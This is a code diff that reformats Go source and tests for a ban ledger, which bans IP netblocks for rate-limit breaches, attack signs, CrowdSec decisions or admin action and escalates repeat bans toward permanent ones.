ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||||
t.Errorf(
|
t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
|
||||||
"the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
|
ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
|
||||||
ban.Expires.Sub(ban.Start),
|
|
||||||
ban.Notes.EarlierBans,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
held := ledger.Bans(netblock)
|
held := ledger.Bans(netblock)
|
||||||
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
|
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
|
||||||
t.Errorf(
|
t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
|
||||||
"the ledger holds %+v, want the lifted ban and the new one",
|
|
||||||
held,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(
|
func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// A permanent ban for a clear sign of attack, lifted.
|
// A permanent ban for a clear sign of attack, lifted.
|
||||||
@@ -243,20 +198,13 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(
|
|||||||
|
|
||||||
active, permanent := ledger.Count(now)
|
active, permanent := ledger.Count(now)
|
||||||
if active != 0 || permanent != 0 {
|
if active != 0 || permanent != 0 {
|
||||||
t.Errorf(
|
t.Errorf("%d bans are active and %d permanent, want none", active, permanent)
|
||||||
"%d bans are active and %d permanent, want none",
|
|
||||||
active,
|
|
||||||
permanent,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The next clear sign of attack bans for seven days, as a first does.
|
// The next clear sign of attack bans for seven days, as a first does.
|
||||||
ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
|
ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
|
||||||
if ban.Expires.Sub(ban.Start) != 7*day {
|
if ban.Expires.Sub(ban.Start) != 7*day {
|
||||||
t.Errorf(
|
t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires)
|
||||||
"the next ban for an attack ends at %s, want seven days on",
|
|
||||||
ban.Expires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -264,11 +212,8 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
made, _ := ledger.BanForLimit(
|
made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
|
||||||
netip.MustParsePrefix("203.0.113.1/32"),
|
bans.Notes{})
|
||||||
midnight(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
atStart := bans.Ban{
|
atStart := bans.Ban{
|
||||||
Netblock: netip.MustParsePrefix("203.0.113.2/32"),
|
Netblock: netip.MustParsePrefix("203.0.113.2/32"),
|
||||||
Start: midnight(),
|
Start: midnight(),
|
||||||
@@ -278,10 +223,7 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
|
|||||||
ledger.Load([]bans.Ban{made, atStart})
|
ledger.Load([]bans.Ban{made, atStart})
|
||||||
|
|
||||||
if got := ledger.Made(bans.CauseAdmin); got != 0 {
|
if got := ledger.Made(bans.CauseAdmin); got != 0 {
|
||||||
t.Fatalf(
|
t.Fatalf("%d bans made by an admin after the start's, want none", got)
|
||||||
"%d bans made by an admin after the start's, want none",
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The admin keeps the ban sww made, keeps the one read at the
|
// The admin keeps the ban sww made, keeps the one read at the
|
||||||
@@ -294,13 +236,9 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
|
|||||||
}
|
}
|
||||||
ledger.LoadEdit([]bans.Ban{kept, atStart, added})
|
ledger.LoadEdit([]bans.Ban{kept, atStart, added})
|
||||||
|
|
||||||
if ledger.Made(bans.CauseAdmin) != 1 ||
|
if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 {
|
||||||
ledger.Made(bans.CauseLimit) != 1 {
|
t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each",
|
||||||
t.Errorf(
|
ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit))
|
||||||
"%d bans made by an admin and %d for a limit, want 1 of each",
|
|
||||||
ledger.Made(bans.CauseAdmin),
|
|
||||||
ledger.Made(bans.CauseLimit),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -326,12 +264,8 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
|
|||||||
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
|
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
|
||||||
}
|
}
|
||||||
|
|
||||||
got := ledger.BanForAdmin(
|
got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
|
||||||
netip.MustParsePrefix("203.0.113.9/24"),
|
"probes for logins")
|
||||||
now,
|
|
||||||
time.Time{},
|
|
||||||
"probes for logins",
|
|
||||||
)
|
|
||||||
if !reflect.DeepEqual(got, want) {
|
if !reflect.DeepEqual(got, want) {
|
||||||
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
|
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
|
||||||
}
|
}
|
||||||
@@ -343,17 +277,10 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// It refuses once the ban for the limit has ended.
|
// It refuses once the ban for the limit has ended.
|
||||||
ban, banned, _ := ledger.Find(
|
ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
|
||||||
netblock.Addr(),
|
|
||||||
midnight().Add(2*time.Hour),
|
|
||||||
)
|
|
||||||
if !banned || !reflect.DeepEqual(ban, want) {
|
if !banned || !reflect.DeepEqual(ban, want) {
|
||||||
t.Errorf(
|
t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
|
||||||
"after the limit's ban the netblock is under %+v (%t), want %+v",
|
ban, banned, want)
|
||||||
ban,
|
|
||||||
banned,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -385,12 +312,8 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
|
|||||||
now := midnight().Add(time.Minute)
|
now := midnight().Add(time.Minute)
|
||||||
|
|
||||||
lifted := ledger.Lift(client, now)
|
lifted := ledger.Lift(client, now)
|
||||||
if len(lifted) != 2 || lifted[0].Lifted != now ||
|
if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now {
|
||||||
lifted[1].Lifted != now {
|
t.Errorf("lifted %+v, want the two active bans covering the client", lifted)
|
||||||
t.Errorf(
|
|
||||||
"lifted %+v, want the two active bans covering the client",
|
|
||||||
lifted,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
@@ -407,11 +330,8 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
|
|||||||
covering := ledger.Covering(client)
|
covering := ledger.Covering(client)
|
||||||
if len(covering) != 3 || covering[0].Netblock != wide ||
|
if len(covering) != 3 || covering[0].Netblock != wide ||
|
||||||
!covering[1].Lifted.IsZero() || covering[2].Lifted != now {
|
!covering[1].Lifted.IsZero() || covering[2].Lifted != now {
|
||||||
t.Errorf(
|
t.Errorf("the bans covering the client are %+v, want the /24's and both "+
|
||||||
"the bans covering the client are %+v, want the /24's and both "+
|
"of its own, the earlier not lifted", covering)
|
||||||
"of its own, the earlier not lifted",
|
|
||||||
covering,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// With none active, nothing is lifted or changed.
|
// With none active, nothing is lifted or changed.
|
||||||
@@ -422,26 +342,16 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
|
|||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(
|
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
client := netip.MustParseAddr("203.0.113.9")
|
client := netip.MustParseAddr("203.0.113.9")
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
|
|
||||||
// The temporary ban is made first, so that its netblock is looked at first.
|
// The temporary ban is made first, so that its netblock is looked at first.
|
||||||
ledger.BanForLimit(
|
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{})
|
||||||
netip.MustParsePrefix("203.0.113.9/32"),
|
ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{},
|
||||||
midnight(),
|
"for good")
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
ledger.BanForAdmin(
|
|
||||||
netip.MustParsePrefix("203.0.113.0/24"),
|
|
||||||
midnight(),
|
|
||||||
time.Time{},
|
|
||||||
"for good",
|
|
||||||
)
|
|
||||||
|
|
||||||
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
|
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
|
||||||
}
|
}
|
||||||
@@ -453,19 +363,10 @@ func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
|
|||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
|
|
||||||
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
|
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
|
||||||
ledger.BanForAdmin(
|
ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour),
|
||||||
netblock,
|
"for an hour")
|
||||||
midnight().Add(time.Minute),
|
|
||||||
midnight().Add(time.Hour),
|
|
||||||
"for an hour",
|
|
||||||
)
|
|
||||||
|
|
||||||
wantPermanentBan(
|
wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute))
|
||||||
t,
|
|
||||||
ledger,
|
|
||||||
netblock.Addr(),
|
|
||||||
midnight().Add(2*time.Minute),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// wantPermanentBan checks that Find and Check return a permanent ban for
|
// wantPermanentBan checks that Find and Check return a permanent ban for
|
||||||
@@ -481,12 +382,7 @@ func wantPermanentBan(
|
|||||||
} {
|
} {
|
||||||
ban, banned, _ := look(client, now)
|
ban, banned, _ := look(client, now)
|
||||||
if !banned || !ban.Permanent() {
|
if !banned || !ban.Permanent() {
|
||||||
t.Errorf(
|
t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned)
|
||||||
"%s returned %+v and banned %v, want a permanent ban",
|
|
||||||
name,
|
|
||||||
ban,
|
|
||||||
banned,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+19
-91
@@ -209,10 +209,7 @@ func New(params Params) *Ledger {
|
|||||||
// The ledger drops bans itself, and never those whose cause is
|
// The ledger drops bans itself, and never those whose cause is
|
||||||
// CauseAdmin, however many there are, so the LRU has no limit of its
|
// CauseAdmin, however many there are, so the LRU has no limit of its
|
||||||
// own: it keeps the netblocks in the order they were last seen.
|
// own: it keeps the netblocks in the order they were last seen.
|
||||||
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](
|
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil)
|
||||||
math.MaxInt,
|
|
||||||
nil,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
panic(err) // NewLRU fails only for a size below one
|
panic(err) // NewLRU fails only for a size below one
|
||||||
}
|
}
|
||||||
@@ -315,15 +312,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
|
|||||||
func (l *Ledger) BanForLimit(
|
func (l *Ledger) BanForLimit(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(
|
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
|
||||||
netblock,
|
|
||||||
now,
|
|
||||||
time.Time{},
|
|
||||||
CauseLimit,
|
|
||||||
limitReason(notes),
|
|
||||||
notes,
|
|
||||||
true,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBanForLimit returns what BanForLimit would, without making the ban:
|
// WouldBanForLimit returns what BanForLimit would, without making the ban:
|
||||||
@@ -331,15 +320,7 @@ func (l *Ledger) BanForLimit(
|
|||||||
func (l *Ledger) WouldBanForLimit(
|
func (l *Ledger) WouldBanForLimit(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(
|
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
|
||||||
netblock,
|
|
||||||
now,
|
|
||||||
time.Time{},
|
|
||||||
CauseLimit,
|
|
||||||
limitReason(notes),
|
|
||||||
notes,
|
|
||||||
false,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// BanForAttack bans netblock at now for a clear sign of attack, with
|
// BanForAttack bans netblock at now for a clear sign of attack, with
|
||||||
@@ -350,15 +331,7 @@ func (l *Ledger) WouldBanForLimit(
|
|||||||
func (l *Ledger) BanForAttack(
|
func (l *Ledger) BanForAttack(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(
|
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
|
||||||
netblock,
|
|
||||||
now,
|
|
||||||
time.Time{},
|
|
||||||
CauseAttack,
|
|
||||||
attackReason(notes),
|
|
||||||
notes,
|
|
||||||
true,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBanForAttack returns what BanForAttack would, without making the
|
// WouldBanForAttack returns what BanForAttack would, without making the
|
||||||
@@ -366,15 +339,8 @@ func (l *Ledger) BanForAttack(
|
|||||||
func (l *Ledger) WouldBanForAttack(
|
func (l *Ledger) WouldBanForAttack(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(
|
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
|
||||||
netblock,
|
false)
|
||||||
now,
|
|
||||||
time.Time{},
|
|
||||||
CauseAttack,
|
|
||||||
attackReason(notes),
|
|
||||||
notes,
|
|
||||||
false,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
|
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
|
||||||
@@ -382,39 +348,19 @@ func (l *Ledger) WouldBanForAttack(
|
|||||||
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
|
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
|
||||||
// decision for <scenario>", the scenario that made the decision.
|
// decision for <scenario>", the scenario that made the decision.
|
||||||
func (l *Ledger) BanForCrowdSec(
|
func (l *Ledger) BanForCrowdSec(
|
||||||
netblock netip.Prefix,
|
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
|
||||||
now, expires time.Time,
|
|
||||||
scenario string,
|
|
||||||
notes Notes,
|
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(
|
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
|
||||||
netblock,
|
true)
|
||||||
now,
|
|
||||||
expires,
|
|
||||||
CauseCrowdSec,
|
|
||||||
crowdSecReason(scenario),
|
|
||||||
notes,
|
|
||||||
true,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
|
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
|
||||||
// the ban: what observe mode would have done.
|
// the ban: what observe mode would have done.
|
||||||
func (l *Ledger) WouldBanForCrowdSec(
|
func (l *Ledger) WouldBanForCrowdSec(
|
||||||
netblock netip.Prefix,
|
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
|
||||||
now, expires time.Time,
|
|
||||||
scenario string,
|
|
||||||
notes Notes,
|
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(
|
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
|
||||||
netblock,
|
false)
|
||||||
now,
|
|
||||||
expires,
|
|
||||||
CauseCrowdSec,
|
|
||||||
crowdSecReason(scenario),
|
|
||||||
notes,
|
|
||||||
false,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
|
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
|
||||||
@@ -559,10 +505,7 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban {
|
|||||||
// about it. It is not a request from netblock, and leaves when it was last
|
// about it. It is not a request from netblock, and leaves when it was last
|
||||||
// seen unchanged. It does not have bans.json written at once: the notes
|
// seen unchanged. It does not have bans.json written at once: the notes
|
||||||
// are written with its next write, as the counts in them are.
|
// are written with its next write, as the counts in them are.
|
||||||
func (l *Ledger) AddLookup(
|
func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) {
|
||||||
netblock netip.Prefix,
|
|
||||||
asn, asName, country string,
|
|
||||||
) {
|
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
|
|
||||||
@@ -711,10 +654,7 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
|
|||||||
// keep is true, the ban is not made, only returned: it is the ban that
|
// keep is true, the ban is not made, only returned: it is the ban that
|
||||||
// would have been made.
|
// would have been made.
|
||||||
func (l *Ledger) ban(
|
func (l *Ledger) ban(
|
||||||
netblock netip.Prefix,
|
netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
|
||||||
now, expires time.Time,
|
|
||||||
cause, reason string,
|
|
||||||
notes Notes,
|
|
||||||
keep bool,
|
keep bool,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
@@ -735,13 +675,7 @@ func (l *Ledger) ban(
|
|||||||
}
|
}
|
||||||
|
|
||||||
notes.Request = notes.Request.cut()
|
notes.Request = notes.Request.cut()
|
||||||
ban := Ban{
|
ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
|
||||||
Netblock: netblock,
|
|
||||||
Start: now,
|
|
||||||
Cause: cause,
|
|
||||||
Reason: reason,
|
|
||||||
Notes: notes,
|
|
||||||
}
|
|
||||||
|
|
||||||
switch cause {
|
switch cause {
|
||||||
case CauseAttack:
|
case CauseAttack:
|
||||||
@@ -831,9 +765,7 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
|
|||||||
var first *Ban
|
var first *Ban
|
||||||
|
|
||||||
for _, length := range lengths {
|
for _, length := range lengths {
|
||||||
bans, found := l.netblocks.Get(
|
bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
|
||||||
netip.PrefixFrom(client, length).Masked(),
|
|
||||||
)
|
|
||||||
if !found {
|
if !found {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -866,9 +798,7 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
|
|||||||
var found []*[]Ban
|
var found []*[]Ban
|
||||||
|
|
||||||
for _, length := range lengths {
|
for _, length := range lengths {
|
||||||
bans, ok := l.netblocks.Peek(
|
bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked())
|
||||||
netip.PrefixFrom(client, length).Masked(),
|
|
||||||
)
|
|
||||||
if ok {
|
if ok {
|
||||||
found = append(found, bans)
|
found = append(found, bans)
|
||||||
}
|
}
|
||||||
@@ -922,15 +852,13 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
|
|||||||
var last *Ban
|
var last *Ban
|
||||||
|
|
||||||
for i, ban := range held {
|
for i, ban := range held {
|
||||||
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) &&
|
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
|
||||||
ban.Lifted.IsZero() &&
|
|
||||||
(last == nil || ban.Expires.After(last.Expires)) {
|
(last == nil || ban.Expires.After(last.Expires)) {
|
||||||
last = &held[i]
|
last = &held[i]
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if last != nil &&
|
if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
||||||
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
|
||||||
lastLength := last.Expires.Sub(last.Start)
|
lastLength := last.Expires.Sub(last.Start)
|
||||||
// This is repeatFactor * lastLength > MaxBanDuration, written so
|
// This is repeatFactor * lastLength > MaxBanDuration, written so
|
||||||
// that it cannot overflow.
|
// that it cannot overflow.
|
||||||
|
|||||||
+59
-212
@@ -27,14 +27,8 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) {
|
|||||||
length := time.Duration(hours) * time.Hour
|
length := time.Duration(hours) * time.Hour
|
||||||
if !ban.Expires.Equal(now.Add(length)) ||
|
if !ban.Expires.Equal(now.Add(length)) ||
|
||||||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
|
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
|
||||||
t.Fatalf(
|
t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
|
||||||
"ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
|
i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i)
|
||||||
i+1,
|
|
||||||
ban.Expires.Sub(now),
|
|
||||||
ban.Notes.EarlierBans,
|
|
||||||
hours,
|
|
||||||
i,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
now = ban.Expires
|
now = ban.Expires
|
||||||
@@ -71,27 +65,13 @@ func TestRepeatWindowRunsOut(t *testing.T) {
|
|||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
|
|
||||||
first, _ := ledger.BanForLimit(
|
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||||
netblock,
|
second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{})
|
||||||
midnight(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
second, _ := ledger.BanForLimit(
|
|
||||||
netblock,
|
|
||||||
first.Expires.Add(tc.gap),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
|
|
||||||
if second.Expires.Sub(second.Start) != tc.want ||
|
if second.Expires.Sub(second.Start) != tc.want ||
|
||||||
second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||||
t.Errorf(
|
t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
|
||||||
"second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
|
second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want)
|
||||||
second.Expires.Sub(
|
|
||||||
second.Start,
|
|
||||||
),
|
|
||||||
second.Notes.EarlierBans,
|
|
||||||
tc.want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -104,11 +84,8 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
|||||||
params.LimitBanDuration = params.MaxBanDuration + time.Hour
|
params.LimitBanDuration = params.MaxBanDuration + time.Hour
|
||||||
ledger := bans.New(params)
|
ledger := bans.New(params)
|
||||||
|
|
||||||
ban, _ := ledger.BanForLimit(
|
ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
|
||||||
netip.MustParsePrefix("203.0.113.9/32"),
|
bans.Notes{})
|
||||||
midnight(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
if !ban.Permanent() {
|
if !ban.Permanent() {
|
||||||
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
|
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
|
||||||
}
|
}
|
||||||
@@ -129,12 +106,7 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
|
|||||||
for i := range 14 {
|
for i := range 14 {
|
||||||
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
if !ban.Expires.After(ban.Start) {
|
if !ban.Expires.After(ban.Start) {
|
||||||
t.Fatalf(
|
t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires)
|
||||||
"ban %d starts at %s and ends at %s",
|
|
||||||
i+1,
|
|
||||||
ban.Start,
|
|
||||||
ban.Expires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
now = ban.Expires
|
now = ban.Expires
|
||||||
@@ -157,36 +129,17 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
|
|||||||
t.Error("the first ban was not made")
|
t.Error("the first ban was not made")
|
||||||
}
|
}
|
||||||
|
|
||||||
again, made := ledger.BanForLimit(
|
again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
|
||||||
netblock,
|
|
||||||
midnight().Add(time.Minute),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
|
|
||||||
if made || !reflect.DeepEqual(again, first) ||
|
if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
|
||||||
len(ledger.Bans(netblock)) != 1 {
|
t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
|
||||||
t.Errorf(
|
"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
|
||||||
"a limit broken during a ban gave %+v, made %t, and %d bans, "+
|
|
||||||
"want %+v, not made, and 1",
|
|
||||||
again,
|
|
||||||
made,
|
|
||||||
len(ledger.Bans(netblock)),
|
|
||||||
first,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
again, made = ledger.BanForAttack(
|
again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
|
||||||
netblock,
|
|
||||||
midnight().Add(time.Minute),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
if made || !reflect.DeepEqual(again, first) {
|
if made || !reflect.DeepEqual(again, first) {
|
||||||
t.Errorf(
|
t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
|
||||||
"an attack during a ban gave %+v, made %t, want %+v, not made",
|
again, made, first)
|
||||||
again,
|
|
||||||
made,
|
|
||||||
first,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -195,26 +148,16 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
|
|||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
ban, _ := ledger.BanForLimit(
|
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
|
||||||
netblock,
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{Requests: 5},
|
|
||||||
)
|
|
||||||
|
|
||||||
for range 3 {
|
for range 3 {
|
||||||
got, banned, _ := ledger.Check(
|
got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
|
||||||
netblock.Addr(),
|
|
||||||
ban.Expires.Add(-time.Nanosecond),
|
|
||||||
)
|
|
||||||
if !banned || got.Start != ban.Start {
|
if !banned || got.Start != ban.Start {
|
||||||
t.Fatalf("check during the ban gives %+v and %t", got, banned)
|
t.Fatalf("check during the ban gives %+v and %t", got, banned)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
_, banned, _ := ledger.Check(
|
_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight())
|
||||||
netip.MustParseAddr("203.0.113.10"),
|
|
||||||
midnight(),
|
|
||||||
)
|
|
